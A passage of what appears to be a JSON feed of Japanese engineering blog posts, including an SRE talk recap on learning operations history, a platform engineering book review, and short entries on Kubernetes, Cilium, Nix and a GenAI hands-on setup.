2024」に出展・登壇","link":"https://sreake.com/blog/cloudnative-days-winter-2024/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年11⽉28日(木)・29日(金)に開催される「CloudNative Days Winter 2024」に出展および登壇することをお知らせします。The post スリーシェイク、「CloudNative Days Winter 2024」に出展・登壇 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-11-12T01:19:07.000Z","dateMiliSeconds":1731374347000,"authorName":"Sreake","authorId":"Sreake"},{"title":"点でしかないものを線で見る為に - 「SREの前に」というタイトルで登壇しました。","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/11/110223","contentSnippet":"はじめに先日、技育プロジェクト(株式会社サポーターズ)主催の技育CAMPアカデミアという勉強会にて「SREの前に」というイベントで登壇する機会をいただきました。今回は「点」としての情報を「線」として繋げて見ることの重要性について、お話しさせていただきました。このイベントは、特にこれからSREを目指す学生の方々に向けて、運用の基礎的な考え方や歴史的背景を共有することを目的としています。サピエンス全史 上 文明の構造と人類の幸福 (河出文庫)作者:ユヴァル・ノア・ハラリ河出書房新社Amazonイベントページtalent.supporterz.jpどこにでも答えがある時代私たちは情報があふれる時代に生きています。技術書やオンラインドキュメント、技術ブログ、そして最近では生成AIなど、様々な方法で技術知識を得ることができます。しかし、これらの情報の多くは「点」として存在しています。なぜその技術が生まれたのか、どのような課題を解決しようとしていたのか、当時のエンジニアたちは何を考えていたのか―――そういった文脈や歴史的な背景は、資料や書籍だけでは見えづらいものです。それでも必要とされるエンジニアになってほしい「SREとは何か」という知識自体は、今や簡単に手に入ります。しかし、なぜSREという概念が必要とされるようになったのか、従来の運用との本質的な違いは何か、といった背景を理解することは容易ではありません。運用の世界では、過去の経験や失敗から学び、それを現在の実践に活かすことが非常に重要です。こうした経験や知見は、単なる技術ドキュメントからは読み取ることが難しいのです。そして、さらに重要なのは、その時々の「正解っぽい何か」を理解し、実際の課題解決に活かせるようになることです。技術やプラクティスは、それ自体が目的なのではありません。例えば、SREの施策やベストプラクティスも、結局のところ「どうすれば安定的にサービスを運用できるか」という課題に対する一つの解答なのです。私たちに求められているのは、その解答を理解し、自分たちの文脈に合わせて適切に活用していく力ではないでしょうか。技術の変遷を知ることで見えてくるものこの20年間で技術は劇的に変化しました。クラウドの普及、コンテナ技術の発展、マイクロサービスアーキテクチャの採用など、システムの在り方そのものが大きく変わってきています。しかし、これらの変化の根底には「より良いサービスを、より確実に、より効率的に提供したい」という普遍的な願いがあります。技術の進化を「新しい技術の登場」としてだけでなく、「なぜその技術が必要とされたのか」という視点で理解することで、次に何が必要とされるのか、自分たちはどう進化していくべきなのかが見えてくるはずです。発表を通じて伝えたかったこと今回の発表で、特に若手エンジニアの皆さんに伝えたかったのは、技術を「点」で捉えるのではなく、その背景にある文脈や歴史的な流れを「線」として理解することの大切さです。これは単に「過去を知る」ということではなく、未来への洞察力を養うことにもつながります。変化の激しいIT業界では、個々の技術は常に進化し、新しいものに置き換わっていきます。しかし、その変化の本質を理解し、次の一手を考えられるエンジニアこそが、これからも必要とされ続けるのだと信じています。そして、これは重要な点なのですが、私たちが目にする技術の変遷は、常に正解への道のりだったわけではありません。むしろ、その時々の制約や状況の中で、エンジニアたちが必死に模索した結果の一つにすぎません。「その時はそれしか選択肢がなかった」という判断もまた、とても重要な文脈です。この視点を持つことで、現在の技術選択に対しても、より深い理解と柔軟な判断が可能になるのではないでしょうか。発表資料 speakerdeck.com今回の発表では、以下のような内容をお話させていただきました。運用の歴史的変遷2000年代前半の運用現場では、多くが手作業で行われ、開発チームと運用チームの間には大きな壁が存在していました。その後、2009年頃からDevOpsの概念が登場し、開発と運用の協調が重要視されるようになりました。2010年代に入ると、GoogleによってSREが体系化され、データドリブンな運用やプロアクティブな障害対策が標準的なアプローチとなっていきました。現代の運用における課題現在のSREは、システムの複雑化やマイクロサービスアーキテクチャの採用により、新たな課題に直面しています。特に以下の点が重要になってきています:システムの複雑性の管理クラウドネイティブ環境での信頼性確保組織の成長に伴う運用のスケーリング継続的なシステム改善の実現歴史から学ぶ重要性発表では特に、過去の経験や失敗から学ぶことの重要性を強調しました。技術の進化は決して直線的ではなく、過去の課題が形を変えて再び現れることも少なくありません。そのため、歴史的な文脈を理解することは、現在の課題に対する解決策を考える上で非常に重要です。この発表が、技術を学ぶ方々、特に学生の皆さんにとって、個々の知識を繋げて理解するための一助となれば幸いです。単に「今」の技術トレンドを追いかけるだけでなく、その背景にある文脈や歴史を理解することで、より深い技術理解と、将来の変化への対応力を身につけることができるのではないかと考えています。システムの本質を見失わないために本発表では詳しく触れませんでしたが、ここで一つ重要な課題に言及しておきたいと思います。クラウドの発展は、確かにシステム開発を劇的に効率化しました。ですが、その便利さは大きな落とし穴も持っています。クラウドの力が強大になり、エンジニアの技術力が相対的に低下し、それがさらなるクラウド依存を生む。この負のサイクルは、私たちの目の前で着実に進行しています。禅とオートバイ修理技術 上 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonシステムが動作している状態さえ維持できれば問題ないという考え方や、複雑な問題はクラウドサービスに任せておけばよいという姿勢は、一見合理的に見えます。しかし、システムの性能改善や障害対応時に、表面的な理解しかないエンジニアには、その本質的な原因を特定することすらできません。各システムの深い理解と、時には「痛み」とも呼べる経験は必要不可欠です。しかし、「動いているからいい」という現状で、この必要性を伝えることは非常に難しい。これは現代のエンジニアリング教育における最大の課題です。禅とオートバイ修理技術 下 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonエンジニアリングの本質は表面的な最適化ではありません。まず根本的な理解があり、その上で適切な抽象化や最適化を行う―――これこそが、私たちが目指すべき姿なのです。コンピュータの構成と設計 MIPS Edition 第6版  上・下電子合本版作者:David Patterson,John Hennessy日経BPAmazon最後に今回の発表を通じて、多くの学生の方々と交流する機会を得ました。皆さんの熱心な質問や鋭い観察には、とても励まされました。もうすぐ30歳を迎える身として、学生の皆さんの真摯な質問一つひとつに胸が熱くなり、できる限り丁寧に答えたいという気持ちで一杯になりました。実は私自身、学生時代は進むべき道に悩み、多くの不安を抱えていました。だからこそ、今回質問をしてくださった学生の皆さん、そしてイベントに来てくださった全ての方々と、いつかじっくりとお話ができればと思っています。(ちなみに、この年になっても人見知りが抜けず、時々無愛想な態度をとってしまうことがあります。そんな時は「まだまだ成長途中のエンジニア」として、温かい目で見守っていただけると嬉しいです)技術の世界は日々変化していきますが、その変化の中に普遍的な価値を見出し、理解を深めていく姿勢は、エンジニアとして成長していく上で最も重要な要素の一つだと考えています。時には「その時はそれしか選択肢がなかった」という判断があったことを理解しつつ、過去のエンジニアにリスペクトを送りつつ私たちはきっと、この悩みや探求の過程を共有することで、共に成長していけるはずです。最後に、このような貴重な機会を提供してくださった技育プロジェクト(株式会社サポーターズ)のスタッフの皆様、そして参加してくださった皆様に心より感謝申し上げます。若手エンジニアの皆さんの成長を、これからも微力ながら支援させていただければ幸いです。","isoDate":"2024-11-11T02:02:23.000Z","dateMiliSeconds":1731290543000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"qfscope.nvimでtelescope.nvimの検索結果を絞り込む","link":"https://blog.atusy.net/2024/11/11/qfscope-nvim/","contentSnippet":"telescope.nvimの検索結果をファイル名や該当行の内容で絞り込みたいときのために、qfscope.nvimを開発しました。","isoDate":"2024-11-11T00:00:00.000Z","dateMiliSeconds":1731283200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Kubernetes Sidecar 一問一答","link":"https://sreake.com/blog/kubernetes-native-sidecar/","contentSnippet":"はじめに Kubernetes 1.29からBeta機能となったSidecar Containerという機能を使う機会があったので、これについて一問一答形式で概要を共有してみようと思います。 小粒なTipsになりますがご […]The post Kubernetes Sidecar 一問一答 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-11-08T04:06:41.000Z","dateMiliSeconds":1731038801000,"authorName":"Sreake","authorId":"Sreake"},{"title":"データベースリライアビリティエンジニアリング輪読会","link":"https://sreake.com/blog/database-reliability-engineering-reading-circle/","contentSnippet":"はじめに こんにちは。株式会社スリーシェイク Sreake 事業部に所属している @Sugo Fumitaka です。Sreake 事業部は技術力が求められる領域で豊富な経験を持つ SRE の専門家が集まったチームです。 […]The post データベースリライアビリティエンジニアリング輪読会 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-11-08T04:00:52.000Z","dateMiliSeconds":1731038452000,"authorName":"Sreake","authorId":"Sreake"},{"title":"git rebaseの苦労を減らすための覚え書き","link":"https://blog.atusy.net/2024/11/07/git-rebase/","contentSnippet":"レビューやログを振り返る時のために、Gitのコミットログを整理するrebase作業が、少しでも楽になるよう個人的に気をつけているポイントをまとめました。","isoDate":"2024-11-07T00:00:00.000Z","dateMiliSeconds":1730937600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"SREの前に","link":"https://speakerdeck.com/nwiizo/srenoqian-ni","contentSnippet":"2024年11月06日(水) 18:00~19:00の予定に遅刻してしまい、大変申し訳ございませんでした。お詫びとして、当初非公開予定であった資料を公開させていただきます。元々、公開する予定ではなかったので補足が足りない部分などあると思いますのでご容赦下さい。\\r\\rブログなどで補足情報出すかもなので気になればフォローしてください\\r- https://syu-m-5151.hatenablog.com/\\r- https://x.com/nwiizo\\r\\r\\rSREの前に - 運用の原理と方法論\\r公式URL: https://talent.supporterz.jp/events/2ed2656a-13ab-409c-a1d9-df8383be25fd/","isoDate":"2024-11-06T05:00:00.000Z","dateMiliSeconds":1730869200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"スリーシェイク、「SRE総合支援コンサルティングサービス」および「Datadog導入支援サービス」を AWS Marketplace で提供開始","link":"https://sreake.com/blog/datadog_aws-marketplace/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)が提供する「SRE総合支援コンサルティングサービス」および「DataDog導入支援サービス」を AWS Marketplace で提供開始したことをお知らせします。The post スリーシェイク、「SRE総合支援コンサルティングサービス」および「Datadog導入支援サービス」を AWS Marketplace で提供開始 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-11-05T02:34:26.000Z","dateMiliSeconds":1730774066000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Generative AI Summit Tokyo ’24 Fallに参加しました","link":"https://sreake.com/blog/generative-ai-summit-tokyo-24-fall-2/","contentSnippet":"Sreake事業部インターン生の荒木です。先日Generative AI Summit Tokyo ’24 Fallに参加してまいりました!本イベントで得られた知見や、セッションの様子などを紹介します。 内容 […]The post Generative AI Summit Tokyo ’24 Fallに参加しました first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-11-05T01:02:35.000Z","dateMiliSeconds":1730768555000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetes Pod で Wasm と Linux コンテナを並行して実行する","link":"https://zenn.dev/z63d/articles/cccf07c5a36ab3","contentSnippet":"!雑なメモ、誤情報に注意 概要KubeCon + CloudNativeCon North America 2024 の Running WebAssembly (Wasm) Workloads Side-by-Side with Container Workloads が気になったので事前に少し調べたメモ。runwasi は Sidecar パターンを拡張します。Pod で軽量な Wasm を Linux コンテナの Sidecar として実行するメリットが色々あります。という話だと思う。 runwasishim を開発するライブラリ、shim プロセスをつくるものと...","isoDate":"2024-11-03T03:34:49.000Z","dateMiliSeconds":1730604889000,"authorName":"Kaita Nakamura","authorId":"kaita-nakamura"},{"title":"Nixで最新のR環境を構築できなくてしんどい","link":"https://blog.atusy.net/2024/11/01/nix-r-is-tough/","contentSnippet":"先日、nix-shellでRを使うという記事を書きましたが、Nixで入れたRをふだん使いするのはしんどいな……と感じています。いかんせん、R本体もパッケージも最新のものを使えない現状があります。nix本家が対応に困ってる2024-11-01時点で最新のRは4.4.2ですが、nixで利用可能なRは4.4.1で止まっています。どうにも、パッケージの依存関係の都合で更新したくてもできない状況になっているようです。","isoDate":"2024-11-01T00:00:00.000Z","dateMiliSeconds":1730419200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【CloudNative Entry】入社課題で学んだことTips","link":"https://zenn.dev/melanmeg/articles/f52c5aaa895523","contentSnippet":"はじめに10月から 3-shake に入社した melanmeg です。入社時課題が始まって、 やったこと・わかったこと をここに整理してみました!!内容は「クラウドネイティブのエントリーレベルのスキルを身に着ける」といったものになります前職ではAWS・Azureを触っていたため、今回Google Cloudで課題を進めることにしました。今まで触ってこなかったのでクラウドごとの特徴を知れる良い学びになりました。早速、整理したことを紹介していきます。 課題一言でいうと、『クラウドネイティブのエントリーレベルのスキルを身に着けるを目標の元、k8sクラスタ構築からwo...","isoDate":"2024-10-31T15:03:05.000Z","dateMiliSeconds":1730386985000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"Kubernetes Gateway API 入門","link":"https://zenn.dev/tayusa/articles/786e3c11e631fe","contentSnippet":"ちょうど1年前にGAとなったKubernetesのGateway APIを触る機会がなかったので、個人的に理解を深めるようと思います。https://kubernetes.io/blog/2023/10/31/gateway-api-ga/ Gateway API とは?L4とL7ルーティングを担う次世代のKubernetes Ingress、Load Balancing、Service Mesh APIsです。汎用的で表現力があり役割が分離できるように設計されています。役割指向Kubernetesのサービスネットワークの利用と設定を行う組織の役割を表現したAPIリソースに...","isoDate":"2024-10-31T02:57:25.000Z","dateMiliSeconds":1730343445000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"WebサイトやGitHubソースコードを処理 (ハンズオン)","link":"https://shu-kob.hateblo.jp/entry/2024/10/29/190456","contentSnippet":"#7 WebサイトやGitHubソースコードを処理 (ハンズオン)【オンライン】 - connpassgenai-users.connpass.com勉強会の資料です。Google Cloudでクレデンシャルを取得IAMと管理 > サービスアカウント↓こちらの記事を参考shu-kob.hateblo.jp環境変数にセット以下はMacで、.zprofileの場合export GOOGLE_APPLICATION_CREDENTIALS=\\"/path/PROJECT_ID-XXXXXXXXXX.json\\"source ~/.zprofileソースコードを取得github.comgit clone https://github.com/shu-kob/genai-web-github-loadercd genai-web-github-loadernpm iWebページを読んで要約loadWebPages.tsで、プロジェクトIDの書き換えconst project = \'PROJECT_ID\' // 書き換える実行npx tsx loadWebPages.ts https://www.raumen.co.jp/rapedia/study_history/ソースコードの読み込んで仕様書を作成loadGitHubでプロジェクトIDの書き換えconst project = \'PROJECT_ID\' // 書き換える実行npx tsx loadGitHub.ts https://github.com/shu-kob/genai-web-github-loader","isoDate":"2024-10-29T10:04:56.000Z","dateMiliSeconds":1730196296000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Cilium Node IPAM LBによるロードバランシング","link":"https://sreake.com/blog/cilium-node-ipam-lb-load-balancing/","contentSnippet":"はじめに Sreake事業部でインターンをしている小林です。 本記事では、Cilium v1.16で追加されたCilium Node IPAM LBを検証しました。 Ciliumのロードバランシング方法 CiliumでL […]The post Cilium Node IPAM LBによるロードバランシング first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-10-28T05:08:45.000Z","dateMiliSeconds":1730092125000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Rでログを出力する(loggerパッケージ)","link":"https://blog.atusy.net/2024/10/25/r-logger/","contentSnippet":"先日「Rでndjson形式のログを解析する]」の記事を書いた流れで、そういえばRでログを出力する方法を知らないな思ったので調べてみました。Rでログを扱うパッケージはいくつかありますが、開発が盛んなのはloggerパッケージのようです。最近(2024年8月がごろ)はHadleyも開発に入っているので、安心感がありますね。loggerパッケージのWebサイトには、類似パッケージの紹介もあるので、他を見当したい場合も、まずはここを見てみるとよいでしょう。","isoDate":"2024-10-25T00:00:00.000Z","dateMiliSeconds":1729814400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"技術がなければ作れない、必要がなければ存在している資格がない - Platform Engineering: A Guide for Technical, Product, and People Leaders の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/25/060600","contentSnippet":"我に似せる者は生き、我を象る者は死す(本質を理解して創造的に学ぶ者は発展し、表面的な模倣に留まる者は衰退する)。はじめに「Platform Engineering: A Guide for Technical, Product, and People Leaders」は、現場での実践知を出発点として、プラットフォームエンジニアリングの本質に迫る実践的なガイドとして、技術リーダーから上級管理職まで向けた幅広い読者層に向けて書かれています。個人的にはもう少しだけ広げて開発者やプラットフォームを実際に使う側も読んでも学びのある本だと思いました。著者のCamilleとIanの豊富な経験が凝縮された本書は、単なる表面的な手法の模倣ではなく、実際の現場での試行錯誤から導き出されたプラクティス、そしてその背後にある根本的な原理と思想を探求し、それが現代のソフトウェア開発組織においていかに革新的な価値を生み出すかを浮き彫りにしています。本書の真価は、プラットフォームエンジニアリングを単なる技術的な手法の集合としてではなく、日々の実践から得られた知見を体系化し、組織の進化と持続的な成長を促す戦略的な思考基盤として捉えている点にあります。技術的な実装の詳細よりも、組織が現場の文脈に根ざした実践を重ね、そこからプラクティスを抽出し、最終的にプラットフォームエンジニアリングの本質的な原則を理解して創造的に応用していく方法論に重点が置かれています。これは、現代のソフトウェア開発組織が直面する複雑性の管理と開発者体験の向上という課題に対する、本質的かつ持続可能な解決の道筋を示すものとなっています。Platform Engineering: A Guide for Technical, Product, and People Leaders (English Edition)作者:Fournier, Camille,Nowland, IanO\'Reilly MediaAmazonプラットフォームエンジニアリングの重要性プラットフォームエンジニアリングは、複雑なソフトウェア環境でのイノベーションを促進する開発者体験の向上に不可欠な鍵となり、クラウドへの移行だけでは解決できない問題に対処するための重要な基盤を提供しています。さらに、組織の成長に伴うスケーラビリティの要求とセキュリティニーズの両方に対応する重要な役割を果たすことで、現代のソフトウェア開発組織にとって極めて重要な存在となっています。learning.oreilly.com本書が組織的・戦略的側面に焦点を当てているのに対し、より技術的な側面、特にCloud Nativeな実装に興味がある方には、「Platform Engineering on Kubernetes」がおすすめです。こちらの書籍では、Kubernetesを基盤としたプラットフォームエンジニアリングの実践的なアプローチが詳細に解説されています。syu-m-5151.hatenablog.com両書を併読することで、プラットフォームエンジニアリングの組織的側面と技術的側面の両方を深く理解することができ、より包括的な知識を得ることができるでしょう。本書の構成と特徴本書は現場での実践を起点としながら、プラットフォームエンジニアリングを組織的、戦略的に展開するためのガイドとして構成されており、著者たちが数々の現場で直面した課題と、そこから得られた具体的で実行可能な知見を提供しています。特筆すべきは、個々の技術的解決策にとどまらず、チーム構成や製品管理、ステークホルダーマネジメントなど、現場で真に重要となる組織的側面にも焦点を当てている点で、日々の実践に携わる技術リーダーからCTOやSVPなどの組織の舵取りを担う上級管理職までを想定した実践的な内容となっています。最後に、これら3つのパートは、現場での実践から抽出された原則(Part I)、その原則に基づく具体的なプラクティス(Part II)、そしてそれらの効果を測定・評価する方法(Part III)という、現場起点の論理的な流れを形成しています。特に、第3部で提示される成功の定義は、第1部で説明される現場から導き出された原則と、第2部で示される実践的なアプローチを有機的に結びつける重要な役割を果たしています。本書は、プラットフォームエンジニアリングの現場で直面する本質的な難しさを率直に語っています。具体的には、「技術的に面白いから作る」のではなく現場で真に必要とされるものを見極めて提供するという価値提供の本質、計画の難しさを認識しつつも現場の文脈に応じて適切に実行するという実践知、そして組織の重要なシステムを支える責任を全うするための運用の成熟という現場力の醸成といった課題を挙げています。これらの課題に対して、本書は原則に基づきながらも現場の実態に即した解決の道筋を示しています。正しいものを正しくつくる プロダクトをつくるとはどういうことなのか、あるいはアジャイルのその先について作者:市谷 聡啓ビー・エヌ・エヌ新社AmazonPart I. Platform Engineeringの本質と意義第1部は、Platform Engineeringの根本的な「なぜ」と「何を」に焦点を当てています。Simon Sinekの「イノベーションは夢からではなく、苦闘から生まれる」という言葉に象徴されるように、本章では現代のソフトウェア開発が直面する複雑性と変化の課題に対して、Platform Engineeringがなぜ適切なアプローチなのかを解説しています。特に印象的なのは、Platform Engineeringの4つの柱(製品思考、ソフトウェアエンジニアリング、包括的アプローチ、運用効率)について、単なる理論的な枠組みではなく、実践的な基盤として提示している点です。私の経験でも、これらの要素のバランスを取ることが、プラットフォームチームの成功への鍵となっています。また、国内の参考資料として、jacopenさんの『「共通基盤」を超えよ! 今、Platform Engineeringに取り組むべき理由』がおすすめです。この記事を読むことで、本書の全体像がより明確に理解できるので一読してもらいたいです。 speakerdeck.comChapter 1. Why Platform Engineering Is Becoming Essential第1章「Why Platform Engineering Is Becoming Essential」は、プラットフォームエンジニアリングが現代のソフトウェア開発組織において不可欠となっている背景と理由について、包括的な視点から解説しています。著者は、過去25年間のソフトウェア組織が直面してきた共通の課題から説き起こし、クラウドコンピューティングとオープンソースソフトウェア(OSS)の台頭がもたらした複雑性の増大、そしてそれに対するプラットフォームエンジニアリングの解決アプローチを詳細に論じています。プラットフォームエンジニアリングの本質と定義著者は、プラットフォームを「自己サービス型のAPI、ツール、サービス、知識、サポートを、魅力的な内部プロダクトとして組み合わせた基盤」と定義しています。この定義は、単なる技術的な基盤以上のものを示唆しており、プラットフォームが組織全体に提供する価値を包括的に捉えています。他にもCNCFが公開している「CNCF Platforms White Paper」では、Platformsについて「クラウドネイティブコンピューティングのためのプラットフォームは、プラットフォームのユーザーのニーズに応じて定義・提示される統合された機能のコレクションです。幅広いアプリケーションやユースケースに対して、一般的な機能やサービスを取得・統合するための一貫した体験を確保するクロスカッティングなレイヤーです。優れたプラットフォームは、Webポータル、プロジェクトテンプレート、セルフサービスAPIなど、その機能やサービスの利用と管理に一貫したユーザー体験を提供します」と定義しています。tag-app-delivery.cncf.ioまた、プラットフォームエンジニアリングの成熟度を評価するための「Platform Engineering Maturity Model」も公開されていますので、ぜひ参考にしてください。tag-app-delivery.cncf.ioFigure 1-1. The over-general swamp, held together by glue より引用[Figure 1.1]では、「Over-General Swamp」の状態を示しており、多数のアプリケーションが個別のプリミティブと直接統合され、それらの間を大量のglueコードが繋いでいる様子が描かれています。この図は、プラットフォームが存在しない状態での複雑性の増大を視覚的に表現しています。あるプログラムで、異なるシステムやコンポーネントを連携させるために書かれる仲介的なコードのことです。このコードは、システムの本来の機能には直接関係しませんが、互換性のない部品同士をスムーズに連携させるために必要な「接着剤」のような役割を果たします。これを『グルーコード』と言います。ja.wikipedia.org特に印象的なのは、著者がプラットフォームエンジニアリングを複雑性を管理しながらビジネスへのレバレッジを提供するという明確な目的を持った規律として位置づけている点です。私の経験でも、単なる技術的な基盤提供を超えて、開発者の生産性向上とビジネス価値の創出を同時に実現することが、プラットフォームエンジニアリングの成功の鍵となっています。現代のソフトウェア開発における「Over-General Swamp」の問題Figure 1-2. How platforms reduce the amount of glue より引用[Figure 1.2]は、プラットフォームエンジニアリングによる解決後の状態を示しています。この図では、プラットフォームが複数のプリミティブを抽象化し、アプリケーションとの間にクリーンなインターフェースを提供している様子が描かれています。glueコードが大幅に削減され、システム全体の見通しが改善されていることが分かります。著者は現代のソフトウェア開発環境を「Over-General Swamp(過度に一般化された沼)」と表現し、この比喩を通じて複雑性の罠を見事に描き出しています。クラウドとOSSの普及により、開発者は豊富な選択肢を手に入れましたが、それは同時に「接着剤(glue)」と呼ばれる統合コードやカスタム自動化の増加をもたらしました。プラットフォームエンジニアリングによる解決アプローチ著者が提示するプラットフォームエンジニアリングの解決策は、製品としてのアプローチを重視しています。これは、ユーザー中心の視点を持ちながら、機能の取捨選択を慎重に行い、全体としての一貫性と使いやすさを追求することを意味します。Appleの製品開発アプローチを例に挙げながら、著者は機能の追加だけでなく、むしろ何を含めないかの判断の重要性を強調しています。INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント作者:マーティ・ケーガン,佐藤真治,関満徳日本能率協会マネジメントセンターAmazon技術的な側面では、プラットフォームエンジニアリングは複雑性を管理可能なレベルに抑えることを目指します。例えば、インフラストラクチャの分野では、Terraformの例を用いて、個々のチームが独自にインフラストラクチャを管理する場合の問題点と、プラットフォームによる抽象化がもたらす利点が説明されています。DXを成功に導くクラウド活用推進ガイド CCoEベストプラクティス作者:黒須 義一,酒井 真弓,遠山 陽介,伊藤 利樹,饒村 吉晴日経BPAmazonプラットフォームチームの役割とイノベーション著者は、プラットフォームチームの役割について、従来のインフラストラクチャ、DevTools、DevOps、SREの各アプローチとの違いを明確に示しています。これらの従来のアプローチは、それぞれの専門分野に特化していますが、プラットフォームエンジニアリングはこれらの境界を越えて、より包括的な価値を提供することを目指します。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon特筆すべきは、著者がイノベーションとプラットフォームの関係について、現実的な見解を示している点です。プラットフォームは既存の技術スタック内でのビジネスイノベーションを促進する一方で、プラットフォームの範囲を超えた革新的な取り組みも必要だと認めています。例えば、データ領域での新しい技術の採用など、プラットフォームの制約を一時的に超えることが必要な場合もあると指摘しています。章全体からの学び第1章は、プラットフォームエンジニアリングが現代のソフトウェア開発組織にとって不可欠な理由を説得力のある形で提示しています。複雑性の増大、運用負荷の増加、イノベーションの必要性といった課題に対して、プラットフォームエンジニアリングは包括的な解決策を提供します。著者は、プラットフォームエンジニアリングが単なる技術的な取り組みではなく、組織全体の成功に関わる戦略的な施策であることを強調しています。これは、私の実務経験とも強く共鳴する見解です。プラットフォームエンジニアリングの成功には、技術的な卓越性だけでなく、組織的な変革とイノベーションのバランスを取ることが求められます。今後のソフトウェア開発組織にとって、プラットフォームエンジニアリングの導入は避けて通れない課題となるでしょう。本章は、その理由と意義を深く理解するための優れた導入を提供しています。特に、プラットフォームエンジニアリングが組織にもたらす具体的な価値と、その実現に向けた実践的なアプローチについての示唆は、多くの組織にとって有用な指針となるはずです。特に注目すべきは、プラットフォームを「製品」として扱うアプローチや、ステークホルダーマネジメントの重要性など、技術面だけでなく組織的な側面にも焦点を当てている点です。これらの知見は、プラットフォームエンジニアリングの実践において大きな価値をもたらすと考えられます。プラットフォームエンジニアリングリーダーとして、本書から学んだ知識を自身のチームや組織に適用し、より効果的なプラットフォーム戦略を構築していくことが重要です。また、本書が提起する課題や解決策について、同僚や業界のピアとのディスカッションを通じて、さらなる洞察を得ることができるでしょう。このような実践と対話を通じて、プラットフォームエンジニアリングの分野がさらに発展していくことが期待されます。「翻訳記事 -「インフラ基盤部門は本当に必要か」に関する議論」なんかもとても良い記事なので読んでほしいです。ca-srg.devChapter 2. The Pillars of Platform Engineering第2章「The Pillars of Platform Engineering」は、プラットフォームエンジニアリングの4つの重要な柱について詳細に解説しています。著者は、Product(製品としてのアプローチ)、Development(ソフトウェアベースの抽象化)、Breadth(幅広い開発者への対応)、Operations(基盤としての運用)という4つの柱を通じて、効果的なプラットフォームエンジニアリングの実践方法を示しています。これらの柱は相互に補完し合い、成功するプラットフォームエンジニアリングの基礎を形成しています。キュレートされた製品アプローチの重要性プラットフォームエンジニアリングにおける最初の柱は、キュレートされた製品アプローチです。このアプローチは、単なる技術的な実装を超えて、ユーザーのニーズを中心に据えた戦略的な製品開発を意味します。著者は、これを「paved paths(舗装された道)」と「railways(鉄道)」という2つの異なるタイプのプラットフォーム製品として説明しています。Paved Pathsは、複数のオファリングを統合した使いやすいワークフローを提供し、アプリケーションチームから複雑性を隠蔽しながら、パレート原理に基づいて20%のユースケースで80%のニーズをカバーすることを目指す標準的なアプローチを提供します。Figure 2-1. Architecture of a paved path platform より引用[Figure 2.1]は「paved path」の概念を視覚的に表現しており、複数のオファリングを使いやすいワークフローとして統合し、アプリケーションチームから複雑性を隠蔽する方法を示しています。これは共通のニーズに対応するための標準的なアプローチを提供することを目的としており、著者が提唱する製品としてのプラットフォームの本質を端的に表現しています。Railwaysは、既存製品では対応できない特定ニーズに応え、組織全体に特定の機能を提供するための重要なインフラストラクチャ投資を伴い、プロトタイプから進化してスケーラブルなソリューションを提供する新しい形態のプラットフォームです。Figure 2-2. Architecture of a railway platform より引用[Figure 2.2]は「railway」型プラットフォームを示しており、既存の製品では対応できない特定のニーズに応える新しい形態のプラットフォームを表現しています。具体例として、バッチジョブプラットフォーム、通知システム、グローバルアプリケーション設定プラットフォーム、データ処理パイプライン、監視・モニタリングプラットフォームなどが挙げられます。プラットフォームを製品として捉えることは、単なる技術的な選択以上の意味を持ちます。ユーザー中心のデザインを通じて一貫性のある使いやすいインターフェースを提供し、明確なドキュメンテーションと効果的なオンボーディング体験を実現することが重要です。また、必要な機能の追加と不要機能の大胆な削除を行いながら、機能の優先順位付けを適切に管理し、継続的な改善サイクルを通じてユーザーフィードバックを収集・分析し、パフォーマンス指標の測定と定期的な機能の見直しを行うことが求められます。ソフトウェアベースの抽象化の実現著者は、「ソフトウェアを構築していないなら、それはプラットフォームエンジニアリングではない」と明確に述べています。この主張は、プラットフォームエンジニアリングの本質を理解する上で極めて重要です。効果的な抽象化を実現するためには、適切な粒度での機能分割、一貫性のあるインターフェース、バージョニング戦略、エラーハンドリングなどのAPI設計の原則に加えて、スケーラビリティ、パフォーマンス、セキュリティ、監視可能性などの実装上の考慮事項も重要となります。幅広い開発者ベースへのサービス提供プラットフォームの対象は幅広い開発者ベースであり、セルフサービス機能、ユーザー観測性、ガードレール、マルチテナンシーが重要な要素となります。これらは直感的なユーザーインターフェースとAPI駆動の自動化による効率的なワークフロー、詳細なログ記録とパフォーマンスメトリクス、セキュリティ制御とリソース制限、そしてリソースの分離とアクセス制御を実現します。GenerativeAIの影響と展望著者は、GenerativeAIがプラットフォームエンジニアリングに与える影響について、MLOpsの進化、ツールチェーンの整備、インフラストラクチャの効率化、データガバナンス、LLMエコシステムの観点から包括的な分析を提供しています。これには、モデル開発ライフサイクル管理とデプロイメント自動化、研究者向けインターフェースと非技術者向け操作性、コンピュートリソースとストレージの最適化、プライバシー保護とコンプライアンス対応、そしてモデル選択と統合が含まれます。基盤としての運用プラットフォームが組織の基盤として機能するためには、プラットフォームへの責任、プラットフォームのサポート、運用規律という3つの要素が不可欠です。これらは、エンドツーエンドの管理と問題解決の主導、ユーザーサポート体制とド